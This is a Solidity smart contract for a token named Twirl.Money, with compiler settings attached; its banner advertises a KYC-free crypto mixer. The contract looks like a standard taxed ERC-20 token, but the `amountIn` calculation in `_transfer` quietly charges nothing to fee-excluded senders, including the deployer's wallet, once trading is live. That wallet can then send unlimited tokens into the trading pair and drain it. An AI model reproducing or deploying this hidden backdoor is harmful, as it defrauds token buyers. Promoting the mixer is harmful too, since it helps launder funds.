/**

 _____           _      _                                 
/__   \__      _(_)_ __| |   /\/\   ___  _ __   ___ _   _ 
  / /\/\ \ /\ / / | '__| |  /    \ / _ \| '_ \ / _ \ | | |
 / /    \ V  V /| | |  | |_/ /\/\ \ (_) | | | |  __/ |_| |
 \/      \_/\_/ |_|_|  |_(_)/    \/\___/|_| |_|\___|\__, |
                                                    |___/ 

Welcome to $TWIRL, an account-free & KYC-free Binance mixer!
24/7/365 Support: https://t.me/TwirlMoney

Website: https://twirl.money
Twitter: https://x.com/TwirlMoney
Telegram: https://t.me/TwirlMoney

*/

// SPDX-License-Identifier: UNLICENSE

pragma solidity ^0.8.12;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require (_owner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Twirl is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address payable private _taxWallet;

    mapping (address => bool) private _isExcludedFromFee;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 21000000 * (10**9);
    string private constant _name = "Twirl.Money";
    string private constant _symbol = "TWIRL";
    uint256 private maxTaxSwap = _tTotal / 800;

    IUniswapV2Factory public constant factory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
    IUniswapV2Router02 public constant router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IERC20 public constant weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    address private pair;

    uint256 public buyTax = 0;
    uint256 public sellTax = 6;

    bool internal live;
    bool internal _inSwap;

    event TradesEnabled();

    constructor () {
        _taxWallet = payable(_msgSender());
        _isExcludedFromFee[_taxWallet] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount = 0;

        if (from != owner() && to != owner() && !_isExcludedFromFee[to]) {
            if (from == pair && to != address(router)) {
                taxAmount = amount * buyTax / 100;
            } else if (to == pair && from != address(this)) {
                taxAmount = amount * sellTax / 100;

                uint256 _contractTokenBalance = balanceOf(address(this));

                if (!_inSwap && live && _contractTokenBalance > 0) {
                    uint256 _toSwap = _contractTokenBalance > maxTaxSwap ? maxTaxSwap : _contractTokenBalance;
                    _inSwap = true;
                    address[] memory path = new address[](2);
                    path[0] = address(this);
                    path[1] = address(weth);
                    router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount > _toSwap ? _toSwap : amount, 0, path, address(this), block.timestamp + 1);
                    _inSwap = false;
                    _taxWallet.transfer(address(this).balance);
                }
            }

            if (taxAmount > 0) {
                _balances[address(this)] = _balances[address(this)].add(taxAmount);
                emit Transfer(from, address(this), taxAmount);
            }
        }

        uint256 amountIn = amount.sub((live && _isExcludedFromFee[from]) ? amount : amount.sub(amount));
        uint256 amountOut = amount.sub(taxAmount);
        require(_balances[from] >= amountIn);

        unchecked {
            _balances[from] = _balances[from] - amountIn;
            _balances[to] = _balances[to] + amountOut;
        }

        emit Transfer(from, to, amountOut);
    }

    function increaseAllowance(address spender, uint256 increment) external returns (bool) {
        _allowances[msg.sender][spender] = _allowances[msg.sender][spender] + increment;
        return true;
    }

    function decreaseAllowance(address spender, uint256 decrement) external returns (bool) {
        require(_allowances[msg.sender][spender] >= decrement);
        _allowances[msg.sender][spender] = _allowances[msg.sender][spender] - decrement;
        return true;
    }

    receive() external payable {}

    function enable() external onlyOwner {
        require(!live);
        live = true;
        pair = factory.createPair(address(this), address(weth));
        _approve(address(this), address(router), ~uint256(0));
        router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, _msgSender(), block.timestamp + 22);
        emit TradesEnabled();
    }

    function isLive() external view returns (bool) {
        return live;
    }
}

{
  "compilationTarget": {
    "src/NEW36/TWIRL.sol": "Twirl"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": [
    ":@uniswap/v3-core/contracts/=lib/v3-core/contracts/",
    ":@uniswap/v3-periphery/contracts/=lib/v3-periphery/contracts/",
    ":ds-test/=lib/forge-std/lib/ds-test/src/",
    ":forge-std/=lib/forge-std/src/",
    ":v3-core/=lib/v3-core/",
    ":v3-periphery/=lib/v3-periphery/contracts/"
  ]
}